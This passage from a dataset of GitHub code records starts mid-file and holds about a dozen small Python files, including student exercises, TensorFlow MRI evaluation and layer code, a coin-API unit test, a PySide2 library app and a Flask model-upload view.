== 'text':\n                output_file.write(block['translation']+\"\\n\")\n            elif block['type'] == 'ignore':\n                output_file.write(block['text']+\"\\n\")\n            elif block['type'] == 'code':\n                output_file.write(block['code']+\"\\n\")\n\n    if clean:\n        cache.clean()\n\n    return count\n\ndef translate_markdown(token, src_path, clean=False, match=None):\n    match_path = os.path.abspth(match) if match is not None else None\n\n    all_languages = get_all_languages(src_path)\n\n    logger.info(f\"Translating Markdown files between '{', '.join(all_languages)}'...\")\n    for root, dirs, files in os.walk(src_path):\n        for filename in files:\n            if filename.endswith(\".md\"):\n                source_path = os.path.join(root, filename)\n                if match_path is not None and match_path != source_path:\n                    continue\n                elif match_path is not None:\n                    print(f\"Matched: '{source_path}'\")\n                config_path = source_path+\".trans\"\n                if not os.path.exists(config_path):\n                    continue\n                doc_source_language = os.path.relpath(source_path, src_path).split(\"/\")[0]\n                for target_language in all_languages:\n                    destination_path = os.path.join(src_path, target_language, os.path.relpath(source_path, os.path.join(src_path, doc_source_language)))\n                    if destination_path == source_path:\n                        continue\n                    count = translate_file(token, source_path, destination_path, doc_source_language, target_language, clean=clean)\n                    if count:\n                        print(f\"Translated {count} characters in file {source_path}\")\n","repo_name":"adewes/beam-up","sub_path":"beam/i18n/markdown.py","file_name":"markdown.py","file_ext":"py","file_size_in_byte":4742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"34865516290","text":"MENU = {\r\n    \"espresso\": {\r\n        \"ingredients\": {\r\n            \"water\": 50,\r\n            \"coffee\": 18,\r\n        },\r\n        \"cost\": 1.5,\r\n    },\r\n    \"latte\": {\r\n        \"ingredients\": {\r\n            \"water\": 200,\r\n            \"milk\": 150,\r\n            \"coffee\": 24,\r\n        },\r\n        \"cost\": 2.5,\r\n    },\r\n    \"cappuccino\": {\r\n        \"ingredients\": {\r\n            \"water\": 250,\r\n            \"milk\": 100,\r\n            \"coffee\": 24,\r\n        },\r\n        \"cost\": 3.0,\r\n    }\r\n}\r\n\r\nresources = {\r\n    \"water\": 300,\r\n    \"milk\": 200,\r\n    \"coffee\": 100,\r\n}\r\n\r\n# setup all the values\r\nwater_amount = 0\r\nmilk_amount = 0\r\ncoffee_amount = 0\r\n\r\ndef resource_count(water,milk,coffee):\r\n  water_amount = water\r\n  milk_amount = milk\r\n  coffee_amount = coffee\r\n  return water_amount ,milk_amount ,coffee_amount \r\n  \r\n\r\nrefund = False\r\nresource_okay = True\r\nshould_continue = True\r\n\r\ndef coin_got():\r\n  print(\"Please insert coins.\")\r\n  quarters = int(input(\"how many quarters?: \"))\r\n  dimes = int(input(\"how many dimes?: \"))\r\n  nickles = int(input(\"how many nickles?: \"))\r\n  pennies = int(input(\"how many pennies?: \"))\r\n  return quarters,dimes,nickles,pennies\r\n\r\ndef change(response ,quarters,dimes,nickles,pennies):\r\n  paid = quarters*0.25 + dimes*0.1 + nickles*0.05 + pennies*0.01\r\n  cost = MENU[response]['cost']\r\n  if paid > cost:\r\n    give_change = paid - cost\r\n    print(f\"Here is ${give_change} in change.\")\r\n    print(f\"Here is your {response}. Enjoy!\")\r\n    return refund == False\r\n  else:\r\n    print(\"Sorry that's not enough money. Money refunded\")\r\n    return refund == True\r\n\r\ndef resource_left(refund,response,water_amount,milk_amount,coffee_amount):\r\n  if refund is False:\r\n    water_amount = water_amount\r\n    milk_amount = milk_amount\r\n    coffee_amount = coffee_amount\r\n    \r\n  else:\r\n    if response == 'espresso':\r\n      water_amount -= MENU[response]['ingredients']['water']\r\n      coffee_amount -= MENU[response]['ingredients']['coffee']\r\n    else:\r\n      water_amount -= MENU[response]['ingredients']['water']\r\n      milk_amount -= MENU[response]['ingredients']['milk']\r\n      coffee_amount -= MENU[response]['ingredients']['coffee']\r\n  return water_amount ,milk_amount, coffee_amount\r\n  \r\n\r\ndef check_resource(response,water_amount,milk_amount,coffee_amount):\r\n  resource = ''\r\n  if response == 'espresso':\r\n    if water_amount <= 0:\r\n      resource_okay = False\r\n      resource = 'water'\r\n      return resource_okay, resource \r\n    if coffee_amount <=0:\r\n      resource_okay = False\r\n      resource = 'coffee'\r\n      return resource_okay, resource \r\n    else:\r\n      resource_okay = True\r\n      return resource_okay, resource \r\n    \r\n  else:\r\n    if water_amount <= 0:\r\n      resource_okay = False\r\n      resource = 'water'\r\n      return resource_okay, resource \r\n    if milk_amount <= 0:\r\n      resource_okay = False\r\n      resource = 'milk'\r\n      return resource_okay, resource \r\n    if coffee_amount <=0:\r\n      resource = 'coffee'\r\n      return resource_okay, resource \r\n    else:\r\n      resource_okay = True\r\n      return resource_okay, resource \r\n    \r\n    \r\n    \r\n  \r\nwater_amount ,milk_amount ,coffee_amount = resource_count(resources[\"water\"],resources[\"milk\"],resources[\"coffee\"])\r\n\r\n#quarters,dimes,nickles,pennies = coin_got()\r\nwhile should_continue:\r\n  \r\n  response = input(\"What would you like?(espresso/latte/cappuccino: \")\r\n  check_okay, resource = check_resource(response,water_amount,milk_amount,coffee_amount)\r\n  if response == 'report':\r\n      print(\"Water: \",# setup all the values\r\n    water_amount,\"ml\")\r\n      print(\"Milk: \",# setup all the values\r\n    milk_amount,\"ml\")\r\n      print(\"Coffee: \",# setup all the values\r\n    coffee_amount,\"g\")\r\n  else:\r\n    if check_okay == True:\r\n      # coin received\r\n      quarters,dimes,nickles,pennies  = coin_got()\r\n      # find change or refund\r\n      chnage_refund = change(response ,quarters,dimes,nickles,pennies)\r\n      #calculate the water,milk,coffee\r\n      water_amount,milk_amount,coffee_amount= resource_left(chnage_refund,response,water_amount,milk_amount,coffee_amount)\r\n    else:\r\n      print(f\"Sorry there is not enough {resource}\")\r\n      manager_response = input(\"Does the owner want it still open? type 'y' or 'n': \").lower()\r\n      if manager_response == 'y':\r\n        should_continue = True\r\n      else:\r\n        should_continue = False\r\n      \r\n  \r\n\r\n","repo_name":"fafifah/Python-Programming","sub_path":"coffee_machine.py","file_name":"coffee_machine.py","file_ext":"py","file_size_in_byte":4353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"36842488668","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 22 14:12:50 2019\n\n@author: shengbang\n\"\"\"\nimport os\nfrom os import path\n#import tensorlayer as tl\nimport sys\nimport tarfile\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tensorflow as tf\nfrom six.moves import urllib\nfrom tensorflow.python.framework import ops\nimport pickle\nfrom mislnet_mri import *\nfrom tensorflow.python.tools import inspect_checkpoint as chkp\nimport matplotlib.pyplot as plt\n\ntf.reset_default_graph()\n\nTFRECORD_PATH = '/data/shengbang/MRI_128_4_ALL_MIXED/'                         \n\ntfrecords_test = TFRECORD_PATH + 'MRI_4_Class_TEST_MIXED_20k.tfrecords'\nSAMPLE_NUMBER = 20000\n \n \n#test_data_iter = test_set_0.make_initializable_iterator()\n#el_val = test_data_iter.get_next()\n\nmodel_NUM = '253750'\nacc_tot = 0\nchkpt = '/data/shengbang/tensorflow_MRI/mislnet_MRI_128_4_MIXED_80k_standard/model/model-' + model_NUM\nsess = tf.Session()\n# Restore the model\nsaver = tf.train.import_meta_graph(chkpt +'.meta')\nsaver.restore(sess, chkpt)\n\n# make a function to restore the method to check variables values.\ndef check_net_variables():\n    variables = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES)\n    weights = sess.run(variables[0])\n    for i in range(3):\n        filters = weights[:,:,:,i] * 128 + 128\n        filters = np.array(filters)\n        # show the constraint layers' values\n        plt.figure()\n        plt.imshow(np.array(filters)[:,:,0].astype(int), cmap='gray', vmin=0, vmax=255);\n        plt.show()\n\n#sess.run(test_data_iter.initializer)\ngraph = tf.get_default_graph()\nx = graph.get_tensor_by_name(\"x_placeholder:0\")\ny = graph.get_tensor_by_name(\"y_placeholder:0\")\nbn_phase = graph.get_tensor_by_name(\"bn_phase_placeholder:0\")\n\n# see mid result\nmid_img = tf.get_collection(\"bn3\")[0]\nmodel_output = tf.get_collection(\"model_output\")[0]\nprediction = tf.cast(tf.argmax(model_output, 1), tf.int32)\nresult = tf.get_collection(\"accuracy\")[0]\n\n\nTEST_CASE_LIST = [0]\n\ntest_data = tf.data.TFRecordDataset(tfrecords_test).map(lambda x:read_decode(x, 1)).batch(batch_size=1)\ntest_data_iter = test_data.make_initializable_iterator()\nel_val = test_data_iter.get_next()\nsess.run(test_data_iter.initializer)\ncount_list = np.zeros((4, 4))\nfor ii, case in enumerate(TEST_CASE_LIST):\n    print(ii, case)\n    sys.stdout.flush()\n    count_list = np.zeros((4, 4))\n    \n    logits = []\n    labels = []\n    for iter_ in range(SAMPLE_NUMBER):\n        sys.stdout.flush()\n        test_ims, test_lbs = sess.run(el_val)\n       \n        predictions = sess.run(prediction, feed_dict={x:test_ims,bn_phase:0})\n        logits.append(predictions[0])\n        labels.append(test_lbs[0])\n\n    print('length of logits:', len(labels), labels[0:2])\n    print('length of labels:', len(logits))\n    for i in range(SAMPLE_NUMBER):\n        count_list[labels[i]][logits[i]] += 1\n    #print(count_list)\n    sys.stdout.flush()\n    np.set_printoptions(precision=4, suppress=True)\n    print('Fusion Matrix: \\n', count_list)\n    sys.stdout.flush()    \n    del logits\n    del labels\n#check_net_variables()\n#print(labels, logits[0])\n\nsess.close()\n","repo_name":"XenBond/MRI_training","sub_path":"test_test.py","file_name":"test_test.py","file_ext":"py","file_size_in_byte":3105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"11855597961","text":"import unittest, time, os, requests, sys\nfrom coin_api_alt import CoinAPI\nfrom cron import all_time_high\nfrom db import DBClient\n\n\n\nclass CoinApiTests(unittest.TestCase):\n    def setUp(self):\n        self.coin_api = CoinAPI()\n        time.sleep(1)\n\n    def test_new(self):\n        coin_api = self.coin_api\n        self.assertTrue( len(coin_api.ids_to_name.keys() ) > 800 )\n        self.assertTrue('ethereum' in coin_api.names_set)\n        self.assertTrue('eth' in coin_api.ids_to_name)\n\n    def test_sanitize(self):\n        self.assertFalse(self.coin_api.sanitize_input(''))\n        self.assertEqual(  self.coin_api.sanitize_input('sho@#@$w @#$me e@#$t#$!!h!'), 'show me eth')\n\n    def test_extract_coin_from_text(self):\n        extract = self.coin_api.extract_coin_from_text\n        self.assertFalse(extract(''))\n        self.assertEqual( extract('I want BITCOIN! stats'), 'bitcoin')\n        self.assertEqual( extract('I want btC! stats'), 'bitcoin')\n        self.assertFalse(extract('there are no coins in here'))\n\n    def test_prettify(self):\n        self.assertFalse(self.coin_api.prettify_data({}))\n\n    def test_main(self):\n        self.assertEqual(self.coin_api.get_data_main('No coins in here'), self.coin_api.not_found_message)\n        time.sleep(1)\n        eth_result = self.coin_api.get_data_main('eth please')\n        print(eth_result)\n        self.assertTrue('ethereum' in eth_result and 'market_cap_usd' in eth_result)\n\nclass DBTests(unittest.TestCase):\n    def test_db_connect(self):\n        self.assertTrue(DBClient())\n        self.assertEqual(len(DBClient().get_all_max_vals()), 5)\n\nclass CronTests(unittest.TestCase):\n    def test_check_all_time_high(self):\n        self.assertEqual( os.system('python src/cron.py ath'), 0)\n    def test_check_percent_change(self):\n        self.assertEqual( os.system('python src/cron.py pc'), 0)\n\n\nres = requests.get(\"https://coinmarketcap-nexuist.rhcloud.com/api\")\nif res.status_code ==200:\n    unittest.main(verbosity=2)\nelse:\n    print(\"Failed to connect to coin api\" )\n    print(res.text)\n    sys.exit(1)\n","repo_name":"DZGoldman/Talkin-Coin","sub_path":"src/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"38414016383","text":"import sys\nsys.stdin = open('input.txt')\n\nbits = input()\nstart = 0\nans = []\n\nwhile start < len(bits):\n    binary = bits[start:start+7]\n    decimal = 0\n\n    i = 1\n    for bit in binary[::-1]:\n        decimal += int(bit) * i\n        i *= 2\n\n    ans.append(str(decimal))\n    start += 7\n\nprint(\", \".join(ans))","repo_name":"Hyojeong721/TIL","sub_path":"algorithm/SWA/date/0929/nyl2353/연습문제1/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"34906307492","text":"import sys\n\nfrom tabulate import tabulate\n\n\ndef mod_list(mods):\n    table = [[i, mod.name, mod.author, mod.mod_id] for i, mod in enumerate(mods, start=1)]\n    print(tabulate(table, headers=['#', 'Name', 'Author/s', 'ID']))\n\n\ndef mod_file_list(mod_files):\n    table = [[i, mod.title, mod.author, mod.version, mod.multiplayer] for i, mod in enumerate(mod_files, start=1)]\n    print(tabulate(table, headers=['#', 'Title', 'Author/s', 'Version', 'Multiplayer Support']))\n\n\ndef mod_store_items(store_items):\n    table = [[i, item.name, item.type, item.price, item.lifetime, item.brand, item.category, item.specs] for i, item in enumerate(store_items, start=1)]\n    print(tabulate(table, headers=['#', 'Name', 'Type', 'Price', 'Lifetime', 'Brand', 'Category', 'Specifications']))\n\n\ndef mod_file_info(mod_file, adv, nodesc, changes):\n    if adv:\n        table1 = [mod_file.title, mod_file.author, mod_file.version, mod_file.multiplayer]\n        if len(mod_file.brands) > 0:\n            brands_info = [f'{b[0]} ({b[1]})' for b in mod_file.brands]\n            table1.append('\\n'.join(brands_info))\n        print(tabulate([table1], headers=[\"Name\", \"Author/s\", \"Version\", \"Multiplayer Support\", \"Brands\"]))\n        print()\n        table2 = []\n        headers2 = []\n        splitted = ''.join(mod_file.description).split('Changelog', 1)\n        desc = splitted[0]\n        changelogs = 'Changelog'\n        if not nodesc:\n            table2.append(desc)\n            headers2.append('Description')\n        if changes:\n            if len(splitted) > 1:\n                table2.append(changelogs + splitted[1])\n            else:\n                table2.append('############')\n            headers2.append('Changelogs')\n\n        print(tabulate([table2], headers=headers2))\n    else:\n        table = [[mod_file.title, mod_file.author, mod_file.version, mod_file.multiplayer]]\n        print(tabulate(table, headers=['Title', 'Author/s', 'Version', 'Description', 'Multiplayer Support']))\n\n\ndef mod_info(mod, adv, nodesc, changes):\n    if adv:\n        table1 = [\n            [mod.name, mod.author, mod.mod_id, mod.manufacturer, mod.category, mod.size, mod.version, mod.released]]\n        print(tabulate(table1, headers=[\"Name\", \"Author/s\", \"ID\", \"Manufacturer\", \"Category\", \"Size\", \"Version\",\n                                        \"Released\"]))\n        print()\n        table2 = []\n        headers2 = []\n        splitted = ''.join(mod.description).split('Changelog', 1)\n        desc = splitted[0]\n        changelogs = 'Changelog' + splitted[1]\n        if not nodesc:\n            table2.append(desc)\n            headers2.append('Description')\n        if changes:\n            table2.append(changelogs)\n            headers2.append('Changelogs')\n\n        print(tabulate([table2], headers=headers2))\n    else:\n        table = [[mod.name, mod.author, mod.mod_id]]\n        print(tabulate(table, headers=[\"Name\", \"Author/s\", \"ID\"]))\n","repo_name":"Xaron11/FSModManager","sub_path":"display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":2903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"42804263166","text":"#! /usr/bin/env python\n#! -*- coding=utf-8 -*-\n# Date: 2019-12-5\n# Author: Bryce\n\nclass Solution:\n    def addStrings(self, num1: str, num2: str) -> str:\n        res =\"\"\n        n1 = len(num1)\n        n2 = len(num2)\n        i = n1-1\n        j = n2-1\n        carry = 0\n        while i >=0 or j >=0:\n            if i < 0:\n                temp = ord(num2[j]) - ord('0') + carry\n            if j < 0:\n                temp = ord(num1[i]) - ord('0') + carry\n            if i>=0 and j>=0:\n                temp = (ord(num1[i]) -ord('0')) + (ord(num2[j]) - ord('0')) + carry\n            carry = temp // 10\n            temp = temp%10\n            res += str(temp)\n            i=i-1\n            j=j-1\n        if carry>0:\n            res+=str(carry)\n        return res[::-1]\n","repo_name":"bryceustc/LeetCode_Note","sub_path":"python/Add-Strings/Add-Strings.py","file_name":"Add-Strings.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"51"}
+{"seq_id":"655113106","text":"import sys\nfrom PySide2.QtWidgets import QApplication, QMainWindow,QMessageBox\nfrom PySide2.QtCore import QFile\nfrom PySide2.QtUiTools import QUiLoader\nfrom PySide2.QtGui import QIcon\nimport fileProc\nimport os\n\n# for i in os.listdir('LibraryAppBooks'):\n#     books += []\n\nclass MainWindow():\n    def __init__(self):\n        ui_file = QFile(\"main.ui\")\n        ui_file.open(QFile.ReadOnly)\n        loader = QUiLoader()\n        self.mainWindow = loader.load(ui_file)\n        ####\n        ui_file = QFile(\"bookAdd.ui\")\n        ui_file.open(QFile.ReadOnly)\n        loader = QUiLoader()\n        self.bookAdd = loader.load(ui_file)\n        ####\n        self.pgs()\n        self.HomeBtn()\n        self.bookAddWin()\n        ####\n        self.mainWindow.show()\n        sys.exit(app.exec_())\n\n    def HomeBtn(self):\n        self.mainWindow.addBook.clicked.connect(self.bookAdd.show)\n\n    def pgc(self):\n        self.pubs = {}\n        if not('Pubs' in os.listdir()):\n            os.mkdir('Pubs')\n        else:\n            for i in os.listdir('Pubs'):\n                self.pubs[i] = fileProc.readP(i)\n        self.cats= {}\n        if not('Cats' in os.listdir()):\n            os.mkdir('Cats')\n        else:\n            for i in os.listdir('Cats'):\n                self.cats[i] = fileProc.readC(i)           \n        self.groups = {}\n        if not('Groups' in os.listdir()):\n            os.mkdir('Groups')\n        else:\n            for i in os.listdir('Groups'):\n                self.groups[i] = fileProc.readG(i)\n\n\n\n    def bookAddWin(self):\n        if not('LibraryAppBooks' in os.listdir()):\n            os.mkdir('LibraryAppBooks')\n        def okClicked():\n            x = self.bookAdd.number.text()\n            if f'{x}.blf' in os.listdir(\"LibraryAppBooks\"):\n                msg = QMessageBox()\n                msg.setIcon(QMessageBox.Critical)\n                msg.setText('Book with this \"number\" is already exist')\n                msg.setWindowTitle('ERROR adding book')\n                msg.setWindowIcon(QIcon('icon.png'))\n                msg.setStandardButtons(QMessageBox.Ok)\n                msg.show()\n                msg.exec_()\n            else:\n                thing = [self.bookAdd.name.text(),self.bookAdd.writer.text(),self.bookAdd.number.text(),self.bookAdd.year.text()]\n                if '' in thing :\n                    msg = QMessageBox()\n                    msg.setIcon(QMessageBox.Warning)\n                    msg.setText('fill all fields with star(*)')\n                    msg.setWindowTitle('Incomplete informations')\n                    msg.setWindowIcon(QIcon('icon.png'))\n                    msg.setStandardButtons(QMessageBox.Ok)\n                    msg.show()\n                    msg.exec_()    \n                else:                        \n                    book =  fileProc.write(self.bookAdd.name.text(),self.bookAdd.writer.text(),\n                    self.bookAdd.number.text(),self.bookAdd.year.text(),\n                    self.bookAdd.staryes.isChecked(),\n                    self.bookAdd.additional.toPlainText(),self.bookAdd.cate.currentText(),\n                    self.bookAdd.group.currentText(),self.bookAdd.publisher.currentText())   \n\n                    self.pubs[self.bookAdd.publisher.currentText()] = [self.bookAdd.number.text()]+self.pubs.get(self.bookAdd.publisher.currentText(),[])\n                    fileProc.writeP(self.bookAdd.publisher.currentText(),self.bookAdd.number.text())\n                    self.cats[self.bookAdd.cate.currentText()] = [self.bookAdd.number.text()]+self.cats.get(self.bookAdd.cate.currentText(),[])\n                    fileProc.writeC(self.bookAdd.cate.currentText(),self.bookAdd.number.text())\n                    self.groups[self.bookAdd.group.currentText()] = [self.bookAdd.number.text()]+self.groups.get(self.bookAdd.group.currentText(),[])\n                    fileProc.writeG(self.bookAdd.group.currentText(),self.bookAdd.number.text())\n                    \n                    msg = QMessageBox()\n                    msg.setIcon(QMessageBox.Information)\n                    msg.setText('seccessfully added book')\n                    msg.setWindowTitle('successful')\n                    msg.setWindowIcon(QIcon('icon.png'))\n                    msg.setStandardButtons(QMessageBox.Ok)\n                    msg.show()\n                    msg.exec_()\n                    \n                    self.bookAdd.name.setText('')\n                    self.bookAdd.writer.setText('')\n                    self.bookAdd.year.setText('')\n                    self.bookAdd.number.setText('')\n                    self.bookAdd.close()\n                    self.bookAdd.starno.setChecked(True)\n                    self.bookAdd.additional.setPlainText('')\n                    self.bookAdd.cate.setCurrentIndex(0)\n                    self.bookAdd.group.setCurrentIndex(0)\n                    self.bookAdd.publisher.setCurrentIndex(0)\n                    self.bookAdd.close()\n        \n        self.bookAdd.ok.clicked.connect(okClicked)\n        self.bookAdd.discard.clicked.connect(self.bookAdd.close)\n\n\n\nif __name__ == \"__main__\":\n    app = QApplication(sys.argv)\n    window = MainWindow()\n    \n","repo_name":"HoseinMortezaei/yourLibrary","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"7177472719","text":"# # Задайте список из N элементов, заполненных числами \n# # из промежутка [-N, N]. Сдвиньте все элементы списка на 2 позиции вправо.\n# # 3 -> [2, 3, -3, -2, -1, 0, 1]\n\n# Имя массива.append\n\ndef input_array(arr, a):\n    arr_length = a * 2 + 1\n    a = -a\n    for i in range(arr_length):\n        arr.insert(i, a)\n        a +=1\na = int (input (\"Введите число:  \"))\narr = []\ninput_array(arr, a)\nprint(f\"Начальный массив: {arr}\")\narr1 = arr[len(arr) - 2: len(arr)] + arr[0: len(arr) - 2]\nprint(f\"Массив со сдвигом: {arr1}\")\n\n","repo_name":"RustamZakirov/homework09042023","sub_path":"fourth.py","file_name":"fourth.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"40399779718","text":"from django.contrib import admin\nfrom .models import Review\n\nclass ReviewAdmin(admin.ModelAdmin):\n    list_display = ['product',\n    'pub_date',\n    'user',\n    'username',\n    'title',\n    'content',\n    'image_thumbnail',\n    'rating']\n    list_editable = ['title', 'username', 'content']\n    list_per_page = 20\nadmin.site.register(Review, ReviewAdmin)","repo_name":"hubo00/2nd-Year-Project","sub_path":"reviews/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"73880423839","text":"import tensorflow as tf\n\ndef dense(input_, output_size, scope=None, stddev=0.02, bias_start=0.0, with_w=False):\n    shape = input_.get_shape().as_list()\n\n    with tf.variable_scope(scope or \"FC\"):\n        w = tf.get_variable(\"w\", [shape[1], output_size], tf.float32,\n                            tf.truncated_normal_initializer(stddev=stddev))\n        bias = tf.get_variable(\"bias\", [output_size],\n            initializer=tf.constant_initializer(bias_start))\n        if with_w:\n            return tf.matmul(input_, w) + bias, w, bias\n        else:\n            return tf.matmul(input_, w) + bias\n\ndef conv2d(input_, output_dim,\n           k_h=1, k_w=1, d_h=1, d_w=1, stddev=0.02,\n           scope=\"conv2d\"):\n    with tf.variable_scope(scope):\n        w = tf.get_variable('w', [k_h, k_w, input_.get_shape()[-1], output_dim],\n                            initializer=tf.truncated_normal_initializer(stddev=stddev))\n        conv = tf.nn.conv2d(input_, w, strides=[1, d_h, d_w, 1], padding='VALID')\n\n        biases = tf.get_variable('biases', [output_dim], initializer=tf.constant_initializer(0.0))\n        conv = tf.reshape(tf.nn.bias_add(conv, biases), conv.get_shape())\n    return conv\n\nclass Batch_Norm(object):\n    def __init__(self, epsilon=1e-5, momentum = 0.99, name=\"batch_norm\"):\n        with tf.variable_scope(name):\n            self.epsilon  = epsilon\n            self.momentum = momentum\n            self.name = name\n\n    def __call__(self, x, phase):\n        return tf.contrib.layers.batch_norm(x,\n                      decay=self.momentum,\n                      epsilon=self.epsilon,\n                      updates_collections=None,\n                      scale=True,\n                      is_training=phase,\n                      scope=self.name)\n\n\ndef max_pool2d(inputs,\n               kernel_size,\n               scope,\n               stride=[2, 2],\n               padding='VALID'):\n    \"\"\" 2D max pooling.\n  \n    Args:\n      inputs: 4-D tensor BxHxWxC\n      kernel_size: a list of 2 ints\n      stride: a list of 2 ints\n  \n    Returns:\n      Variable tensor\n    \"\"\"\n    with tf.variable_scope(scope) as sc:\n        kernel_h, kernel_w = kernel_size\n        stride_h, stride_w = stride\n        outputs = tf.nn.max_pool(inputs,\n                                 ksize=[1, kernel_h, kernel_w, 1],\n                                 strides=[1, stride_h, stride_w, 1],\n                                 padding=padding,\n                                 name=sc.name)\n        return outputs\n\n\n\n\ndef dense_bn_relu(inputs, units, bn_is_training=True, activation_fn=tf.nn.relu, scope=\"dense\"):\n    with tf.variable_scope(scope) as local_scope:\n        out = tf.layers.dense(inputs, units, kernel_initializer=tf.truncated_normal_initializer(stddev=0.02))\n        batch_norm = Batch_Norm()\n        out = batch_norm(out, phase=bn_is_training)\n        out = activation_fn(out)\n        return out","repo_name":"xucao-42/pointcloud_colorization","sub_path":"ops.py","file_name":"ops.py","file_ext":"py","file_size_in_byte":2887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"12636806241","text":"# -*- coding: utf-8 -*-\n# @Time    : 2022/1/27 10:38\n# @Author  : jeff0213\n# @File    : views.py\n# @Software: PyCharm\nimport os\n\nfrom flask import request, render_template, redirect, url_for, session\n\nfrom flask import Blueprint\nfrom flask.views import MethodView\n\nimport json\n\nimport test\nfrom app import db\nfrom mm.models import User,ModelUseLog\n\nmodel = Blueprint('model', __name__)\n\n\n# 根据图片文件路径获取hyp\ndef load_json(FilePath):\n    with open(FilePath, 'r') as load_f:\n        load_dict = json.load(load_f)\n    return load_dict\n\n\ndef return_img_stream(img_local_path='static/assets/images/potato.jpg'):\n    \"\"\"\n    工具函数:\n    获取本地图片流\n    :param img_local_path:文件单张图片的本地绝对路径\n    :return: 图片流\n    \"\"\"\n    import base64\n    img_stream = ''\n    with open(img_local_path, 'rb') as img_f:\n        img_stream = img_f.read()\n        img_stream = base64.b64encode(img_stream).decode()\n    return img_stream\n\n\n# @model.route('/use/')\n# def use():\n#     return render_template('model/use-model.html')\n\nclass ModelView(MethodView):\n    def get(self):\n        if session.get('admin', None) is None:\n            return redirect(url_for('login'))\n        else:\n\n            # user_name = request.args.get('username')\n            # return render_template('model/use-model.html',username = user_name)\n            img_stream = return_img_stream()\n            return render_template(\"model/use-model.html\", img_stream=img_stream)\n\n    def post(self):\n        if request.method == \"POST\":\n            path = \"file/\" + session['admin'] + \"/\"\n            if os.path.exists(path) == False:\n                os.makedirs(path)\n            # 获取上传文件数据\n            file = request.files.get('files')\n            # 保存文件到根目录\n            file.save(path + file.filename)\n            load_dict = load_json(path + file.filename)\n            img_path = \"user_result/\" + session['admin'] + \"/\"\n            if os.path.exists(img_path) == False:\n                os.makedirs(img_path)\n            result_path = test.patent_evaluation(load_dict, img_path)\n            img_stream = return_img_stream(result_path)\n\n            id = db.session.query(User.uid).filter(User.login_name == session['admin']).first()[0]\n\n            ret = ModelUseLog(model_id=1, quantity=1, user_id=id)\n            db.session.add(ret)\n            db.session.commit()\n            db.session.close()\n            return render_template(\"model/use-model.html\", img_stream=img_stream)\n        else:\n            return render_template(\"model/use-model.html\")\n\n\nmodel.add_url_rule('/use/', view_func=ModelView.as_view('use_model'))\n","repo_name":"jeff0213/Financial-forecasting-model-application","sub_path":"MM/model/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2664,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"27582115250","text":"class Solution:\n    def characterReplacement(self, s: str, k: int) -> int:\n        i = 0\n        d = defaultdict(int)\n        ans = 0\n        maxi = 0\n        for j in range(len(s)):\n            d[s[j]] += 1\n            maxi = max(maxi,d[s[j]])\n            while (j - i+ 1 - maxi) > k:\n                d[s[i]] -= 1\n                i += 1\n            ans = max(ans,j-i+1)\n        return ans\n        ","repo_name":"doyamd/competitive-programming","sub_path":"0424-longest-repeating-character-replacement/0424-longest-repeating-character-replacement.py","file_name":"0424-longest-repeating-character-replacement.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"39306579900","text":"import string, random\n\n\ndef phone_num(num):\n    all_phone_nums = set()\n    num_start = ['134', '135', '136', '137', '138', '139', '150', '151', '152', '158', '159', '157', '182', '187',\n                 '188',\n                 '147', '130', '131', '132', '155', '156', '185', '186', '133', '153', '180', '189']\n    for i in range(num):\n        start = random.choice(num_start)\n        end = ''.join(random.sample(string.digits, 8))\n        # res = start+end+'\\n'\n        res = start + end\n        all_phone_nums.add(res)\n        # with open('d:\\\\phone.txt','w',encoding='utf-8') as fw:\n        #     fw.writelines(all_phone_nums)\n\n    print(all_phone_nums)\n    return all_phone_nums\n\n\nphone_num(100)\n","repo_name":"maxiaodong123/mysite","sub_path":"reptile/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
